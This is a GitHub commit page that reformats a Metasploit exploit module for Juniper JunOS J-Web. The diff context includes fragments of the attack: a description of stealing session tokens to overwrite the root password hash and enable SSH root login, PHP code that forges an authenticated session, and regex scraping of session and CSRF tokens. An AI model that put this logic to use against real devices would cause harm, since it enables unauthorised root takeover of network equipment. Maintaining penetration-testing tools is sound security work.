Skip to content

Commit

Permalink
junos_ssh_jail: style and formatting rubocop
Browse files Browse the repository at this point in the history
  • Loading branch information
softScheck committed Jun 12, 2024
1 parent c7509d0 commit 8a3262a
Showing 1 changed file with 11 additions and 11 deletions.
22 changes: 11 additions & 11 deletions modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb
Original file line number Diff line number Diff line change
Expand Up @@ -32,9 +32,9 @@ def initialize(info = {})
By default this exploit returns a session confined to a FreeBSD jail with limited functionality. There is a
datastore option 'JAIL_BREAK', that when set to true, will steal the necessary tokens from a user authenticated
to the J-Web application, in order to overwrite the root password hash. If there is no user authenticated
to the J-Web application this exploit will try to create one. If unsuccesfull this method will not work.
The module then authenticates with the new root password over SSH and then rewrites the original root password
to the J-Web application, in order to overwrite the root password hash. If there is no user authenticated
to the J-Web application this exploit will try to create one. If unsuccesfull this method will not work.
The module then authenticates with the new root password over SSH and then rewrites the original root password
hash to /etc/master.passwd. There is an option to set allow ssh root login, if disabled.
},
'Author' => [
Expand Down Expand Up @@ -142,7 +142,7 @@ def get_php_session_id

fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200

php_session_id = res.body.scan(/\[\d+\] => sess_(.*)/).flatten[0]

if php_session_id.nil?
Expand All @@ -153,7 +153,7 @@ def get_php_session_id
php_session_id
end

def create_php_session()
def create_php_session
create_sess = "<?php
require('main.inc.php');
global $loginPage;
Expand Down Expand Up @@ -197,7 +197,7 @@ def create_php_session()
), true);
$output = $user->transform->strip_ns($output);
$user->session->set_authenticated(2919675462);
$imageName = $c['version']['release'];
$user->set_var('junos-version',$imageName);
?>"
Expand All @@ -208,9 +208,9 @@ def create_php_session()

fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200

php_session_id = res.body.scan(/\[\d+\] => sess_(.*)/).flatten[0]
fail_with(Failure::UnexpectedReply, "Failed to create a user session.") unless php_session_id
fail_with(Failure::UnexpectedReply, 'Failed to create a user session.') unless php_session_id
print_status("Session created: #{php_session_id}.")
php_session_id
end
Expand All @@ -222,10 +222,10 @@ def get_csrf_token(php_session_id)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200

print_status("Print Session Cookie: #{res.body.lines.first}.")
csrf_token = res.body.scan(/csrf_token\|s:\d+:"([^"]+)";/).flatten[0]

fail_with(Failure::UnexpectedReply, 'Unable to retrieve a csrf token') unless csrf_token
print_status("Found csrf token: #{csrf_token}.")
csrf_token
Expand Down Expand Up @@ -323,7 +323,7 @@ def set_ssh_root_login(php_session_id, csrf_token)
unless res.get_html_document.xpath("//body/div[@class='commit-status' and @id='systest-commit-status-div']").text == 'Success'
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})")
end
print_status("Successfully set ssh root login to allow")
print_status('Successfully set ssh root login to allow')
end

def ssh_login
Expand Down

0 comments on commit 8a3262a

Please sign in to comment.